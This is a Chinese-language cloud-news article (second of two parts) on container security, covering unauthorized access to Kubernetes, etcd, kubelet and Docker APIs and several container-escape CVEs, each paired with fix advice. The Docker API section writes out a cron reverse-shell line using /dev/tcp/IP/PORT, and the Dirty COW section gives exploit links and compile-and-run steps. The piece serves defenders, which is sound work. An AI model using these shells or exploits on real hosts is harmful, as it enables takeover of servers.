资讯首页 新闻资讯 云计算测评 云服务商动态 技术频道
上云无忧 > 云计算资讯  > 技术频道 > 容器安全风险解决方案(下)

容器安全风险解决方案(下)

发布时间: 2020-06-17 17:39:08 |浏览量:1019| 评论: 0

上篇文章中我们通过听金山云安全vampire师傅的阐述已经了解了常规安全基线中主机安全配置、守护进程配置、容器镜像和构建文件、容器运行时保护的四个方面的内容。

在下篇文章中vampire师傅将主要介绍历史漏洞防护、防护工具推荐两方面内容。

目录

一、 常规安全基准线

二、 历史漏洞防护

1. kubernetes api server未授权操作

1.1 背景概述

1.2 漏洞影响

1.3 修复建议

2. etcd rest api未授权操作

2.1 背景描述

2.2 漏洞影响

2.3 修复建议

3.  kubelet api未授权操作

3.1 背景描述

3.2 漏洞影响

3.3 修复建议

4. docker rest api未授权操作

4.1 背景描述

4.2 漏洞影响

4.3 修复建议

5. docker宿主机提权漏洞(CVE-2016-5195)

5.1 背景描述

5.2 漏洞影响

5.3 修复建议

6. docker runC逃逸漏洞(CVE-2019-5736)

6.1 背景描述

6.2 漏洞影响

6.3 修复建议

7. docker cp逃逸漏洞(CVE-2019-14271)

7.1 背景描述

7.2 漏洞影响

7.3 修复建议

8. kubernetes特权升级漏洞(CVE-2018-1002105)

8.1 背景描述

8.2 漏洞影响

8.3 修复建议

三、 防护工具推荐

1. 映像漏洞扫描工具

2. kubernetes安全性/合规性检查工具

由于内容过多篇幅较长,本文分为两篇推送,本篇为下篇主要介绍容器的历史漏洞防护以及防护工具推荐。

历史漏洞防护

2.1    kubernetes api server未授权操作

背景概述

部署在Master上暴露Kubernetes API,是Kubernetes的控制面。Kubernetes API服务器为API对象验证和配置数据,这些对象包含Pod,Service,ReplicationController等等。API Server提供REST操作以及前端到集群的共享状态,所有其它组件可以通过这些共享状态交互。默认情况,Kubernetes API Server提供HTTP的两个端口,一个是HTTP 8080,另外一个是HTTPS 6443,其中8080端口中没有认证和授权检测机制,6443端口中有设置证书和密钥的标识(令牌文件或客户端证书)机制。

漏洞影响
恶意攻击者常常会利用默认HTTP无认证机制缺陷或HTTPS有认证机制(证书/令牌已泄露)缺陷来进行恶意攻击(容器敏感信息获取、篡改、命令执行、恶意挖矿等)。

利用方式主要为命令行工具kubectl或Web Dashboard UI控制台。

Kubernetes官方提供了一个命令行工具kubectl。使用kubectl同样可以获取容器的shell,完成命令执行。并且可进入指定的容器执行命令,如下图所示:



如果Kubernetes API Server配置了Dashboard,通过路径/ui即可访问。该操作界面可以创建、修改、删除容器,查看日志等。我们可以编写yaml文件,构造pod来获取命令执行。



修复建议
在使用kubernetes的时候我们一定要进行身份的校验,K8S的API其实有非常严格的认证和授权。

最简单的方式是在Authentication增加静态的password,或者token,业务需求允许的情况下可关闭Web端口服务,保持最小化原则,避免安全风险的产生,具体认证和授权可以参考官网文档说明,链接如下:

https://kubernetes.io/docs/reference/access-authn-authz/authen tication/#static-password-file

2.2    etcd rest api未授权操作

背景描述
etcd是一个分布式密钥值存储和为存储跨机器群集的数据提供可靠方法的数据库,通常用于在各种服务器和应用程序之间存储和分发密码和配置设置。etcd 实现了一个可以查询的编程接口,并且默认情况下不需要身份验证就可返回管理登录凭证。

漏洞影响
恶意攻击者常常利用etcd默认的配置(默认端口为2379,无需身份验证)缺陷,利用rest api接口获取集群内token、证书、账户密码等敏感信息。

默认情况下,访问路径/v2/keys/?recursive=true,以JSON格式返回存储在服务器上的所有密钥。

安装etcdctl,可以使用类似的方式查询API,如下图所示

若存在路径/registry/secrets/default,其中可能包含对集群提升权限的默认服务令牌。

修复建议
etcd rest api默认2379和2380端口只在127.0.0.1机器上监听,即只允许本机访问,安全考虑,禁止将etcd rest api默认端口监听在0.0.0.0,如业务有外部访问需求,务必对接口地址进行鉴权,如白名单访问机制等。

2.3    kubelet api未授权操作

背景描述
kubernetes 是一个分布式的集群管理系统,在每个节点(node)上都要运行一个worker对容器进行生命周期的管理,这个worker程序就是kube let。

kubelet的主要功能就是定时从某个地方获取节点上pod/container的期望状态(运行什么容器、运行的副本数量、网络或者存储如何配置等等),并调用对应的容器平台接口达到这个状态。

集群状态下,kubelet会从master上读取信息,但其实kubelet还可以从其他地方获取节点的pod信息。

目前kubelet支持三种数据源:本地文件、通过url从网络上某个地址来获取信息、和APIServer(从kubernetes master节点获取信息)

kubelet开放的端口详见下图:

漏洞影响
恶意攻击者常常会利用kubelet API的HTTPS端口(10250),通过路径/pods获取环境变量、运行的容器信息、命名空间等敏感信息,如下图所示:

获取到namespace、pod、container的信息后,执行如下图请求进而实现具有威胁的命令执行行为。

修复建议
1. 禁止kubelet API端口对外开放。
2. 如业务有接口外用的需求,务必对该接口地址进行鉴权,如白名单访问机制等。

2.4    docker rest api未授权操作

背景描述
kubernetes的容器编排技术进行管理构成的docker集群,kubernetes是google开源的容器管理系统,实现基于docker构建容器,利用kubernetes可以很方便的管理含有多台docker主机中的容器,将多个docker主机抽象为一个资源,以集群方式管理容器。

当docker配置了rest api,我们则可以通过路径/containers/json 获取服务器主机当前运行的container列表。

漏洞影响
恶意攻击者常常也是利用docke rest api(默认端口2375)认证的缺陷。

通过路径/containers/json获取服务器主机当前运行的container列表。接着从container列表中找到存在未授权访问的目标主机,进而后续攻击的利用。

当docker配置了Rest api,恶意攻击者可通过路径/containers/json 获取服务器主机当前运行的container列表。找到存在未授权访问的目标主机,发现已经被安装门罗币矿机。如下图所示:

通过远程访问接口,获得容器访问权限。启动容器时通过挂载根目录到容器内的目录,获取宿主机权限。输入如下指令,获取容器操作权限:

如上图所示,恶意攻击者通过远程访问接口,获得容器访问权限。启动容器时通过挂载根目录到容器内的目录,获取容器操作权限。

为实现对宿主机的控制,恶意攻击者常见使用方法如下:

ssh公钥到跟文件,进而无密码ssh访问宿主机命令行

任务计划反弹shell,

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/IP/PORT 0>&1\n\n" >> /mnt/root

修复建议
1. 修改Docker Remote API服务默认参数。注意:该操作需要重启 Docker 服务才能生效。

修改 Docker 的启动参数:

定位到DOCKER_OPTS中的 tcp://0.0.0.0:2375,将0.0.0.0修改为127.0.0.1或将默认端口 2375 改为自定义端口

2. 为 Remote API 设置认证措施。

参照官方配置 Remote API 的认证措施。注意:该操作需要重启 Docker 服务才能生效。

https://docs.docker.com/engine/reference/api/docker_remote_api/?spm=a2c4g.11186623.2.10.2d8e1388L2gbvq#authentication

3. 修改 Docker 服务运行账号。

请以较低权限账号运行 Docker 服务,另外,可以限制攻击者执行高危命令。(注意:该操作需要重启 Docker 服务才能生效。)

4. 设置防火墙策略。

如果正常业务中 API 服务需要被其他服务器来访问,可以配置安全组策略或 iptables 策略,仅允许指定的 IP来访问Docker 接口。

2.5    docker宿主机提权漏洞(CVE-2016-5195)

背景描述
dirtycow(CVE-2016-5195)是linux内核中的权限提升漏洞,源于linux内核的内存子系统在处理写入时拷贝(copy-on-write,cow)存在竞争条件(racecondition),允许恶意用户提权获取其他只读内存映射的写访问权限。

漏洞影响
docker容器和宿主机是共用内核的,所以如果宿主机的linux内核没升级的话,恶意攻击者可利用dirtycow(CVE-2016-5195)漏洞获取宿主机root权限。poc地址:https://github.com/FireFart/dirtycow

检测方法如下:

下载提权root的exploit https://github.com/FireFart/dirtycow

使用gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译,生成一个dirty的可执行文件

执行./dirty 密码命令,即可进行提权。

漏洞影响范围详见下图:

修复建议
因为涉及到操作系统内核的升级,强烈建议您:正确关闭正在运行的服务,并做好数据备份工作。同时创建服务器磁盘快照,避免修复失败造成不可逆的影响。

CentOS 6/7 系列操作系统,默认配置下,您可以更新软件列表,随后一键升级内核:

1. 检查是否有内核升级包:yum check-update |grep kernel

2. 升级内核:yum update kernel

3. 然后重启系统:reboot

4. 查看版本:uname -a

Ubuntu 系列操作系统,建议从官方源获取安全更新,地址如下:

Ubuntu 12.04 LTS (precise)

deb http://security.ubuntu.com/ubuntu/ precise-security main

Ubuntu 14.04 LTS (trusty)

deb http://security.ubuntu.com/ubuntu/ trusty-security main

a. 更新包列表:sudo apt-get update

b. 升级软件包:sudo apt-get upgrade

c. 重启机器

Debian 系列操作系统,建议从官方源获取安全更新,地址如下:

Debian 7 (wheezy)

deb http://security.debian.org/ wheezy/updates main

Debian 8 (jessie)

deb http://security.debian.org/ jessie/updates main

a. 更新包列表:sudo apt-get update

b. 升级软件包:sudo apt-get upgrade

c. 重启机器

2.6    docker runC逃逸漏洞(CVE-2019-5736)

背景描述
runC是一个根据OCI(OpenContainerInitiative)标准创建并运行容器的CLI(command-lineinterface)工具。runC是Docker中最为核心的部分,容器的创建,运行,销毁等操作最终都是通过调用runC完成。

近日runC报出严重安全漏洞(CVE-2019-5736),导致18.09.2版本之前的Docker允许恶意容器覆盖宿主机上的runC二进制文件。

漏洞影响
docker、containerd或者其他基于runC的容器运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

poc地址:https://github.com/Frichetten/CVE-2019-5736-PoC

修复建议
1.新建k8s 1.11或1.12集群。容器服务新创建的1.11或1.12版本的kubernetes集群已经包含修复该漏洞的docker版本。

2. 升级docker。升级已有集群的Docker到18.09.2或以上版本。可能会导致容器和业务中断。

3.仅升级runC(针对docker版本17.06)。升级docker引擎可能造成业务中断。

2.7    docker cp逃逸漏洞(CVE-2019-14271)

背景描述
研究人员在各种容器平台的copy(cp)命令中发现了几个漏洞,这些平台包括Docker、Podman及Kubernetes,其中最严重的漏洞直到今年7月份才被发现和披露。

CVE-2019-14271是Docker cp命令实现中存在的一个安全问题,攻击者可以利用该漏洞实现完整的容器逃逸。这是从2月份runC漏洞公布以来第一个容器逃逸类漏洞。

漏洞影响
如果攻击者先前已入侵了某个容器(比如通过各种漏洞、被泄露的私密信息等),或者当用户通过不可信源(registry等)运行某个恶意容器镜像,那么攻击者就可以利用该漏洞。

如果用户随后执行了存在漏洞的cp命令,将文件从被入侵的容器中拷贝出来,那么攻击者就可以实现容器逃逸,完全控制宿主机以及其中的所有容器。

修复建议
1. 应确保当前运行19.03.1版或更高版本的Docker,这些版本中已经修复了该问题。

2. 为了限制这类漏洞的攻击面,建议使用方永远不要运行不可信的镜像。

3. 如非特殊情况,以非root用户运行容器,这样能进一步提高容器安全性,避免攻击者利用容器引擎或者内核中存在的各种问题。

对于CVE-2019-14271漏洞,如果容器以非root用户运行,那么当前环境仍然安全。即便攻击者成功入侵容器,也无法覆盖容器的libnss库,因为这些库归root所有,因此攻击者无法利用该漏洞。

2.8    kubernetes特权升级漏洞(CVE-2018-1002105)

背景描述
Kubernetes特权升级漏洞(CVE-2018-1002105)由RancherLabs联合创始人及首席架构师DarrenShepherd发现。该漏洞通过经过详细分析评估,主要可以实现提升k8s普通用户到k8sapiserver的权限(默认就是最高权限),但是值得注意点是,这边普通用户至少需要具有一个pod的exec/attach/portforward等权限。

漏洞影响
针对此次漏洞,恶意攻击者主要可通过如下两种场景下进行利用。

第一种场景,k8s未开启https,这种情况下,api server是不鉴权的,直接就可以获取api server的最高权限(见2.1)

第二种场景,k8s开启了https,使用了权限控制(默认有多种认证鉴权方式,例如证书双向校验、bearer token模式等)。

这种情况下k8s默认是支持匿名用户的,即匿名用户可以完成认证,但默认匿名用户会被分配到system:anonymous用户名和 system:unauth enticated 组。

该组默认权限非常低,只能访问一些公开的接口,例如https:// {apiserverip}:6443/apis,https://{apiserverip}:6443/openapi/v2等。

k8s在已经开启认证授权下的攻击利用线路图如下所示:

修复建议

由于该漏洞影响巨大,属于严重漏洞,建议即刻升级到对应系列的最新版本:

Kubernetes V1.10.11

Kubernetes V1.11.5

Kubernetes V1.12.3

Kubernetes V1.13.0-rc.1

安全设置(针对匿名用户)建议:

1. 暂停使用聚合的API服务器(影响使用聚合服务器API的用户)。

2. 设置 --anonymous-auth = false传递到kube-apiserver禁用匿名请求(影响kube-apiserver的负载均衡器或kubelet运行状况检查,并中断kubeadm join设置流程)。

3. 删除对所有聚合API的所有匿名访问;对非聚合API的完全访问权限的用户删除对所有聚合API访问权限。

4. 非特权kubelet API 用户删除pod exec/attach/ portforward权限。

防护工具推荐

3.1    映像漏洞扫描工具
https://github.com/dosec-cn/harbor-scanner(推荐)

https://github.com/quay/clair

https://github.com/aquasecurity/kube-hunter

3.2    kubernetes安全性/合规性检查工具
https://www.cisecurity.org/benchmark/kubernetes/

https://www.cisecurity.org/benchmark/docker/


相关阅读:容器安全风险解决方案(上)


云服务器推荐:

阿里云/腾讯云/免费云服务器/云主机/数据库/短信/对象存储/CDN网站加速/DDOS高防ip/web应用防火墙/SSL证书/短视频直播/域名注册/优惠价格/折扣报价/最新活动/代金券/优惠券

【阿里云】云服务器 优惠

【腾讯云】云服务器 优惠


更多【技术频道】相关文章

有话要说

全部评论

暂无评论
官方微信
联系客服
400-826-7010
7x24小时客服热线
分享
  • QQ好友
  • QQ空间
  • 微信
  • 微博
返回顶部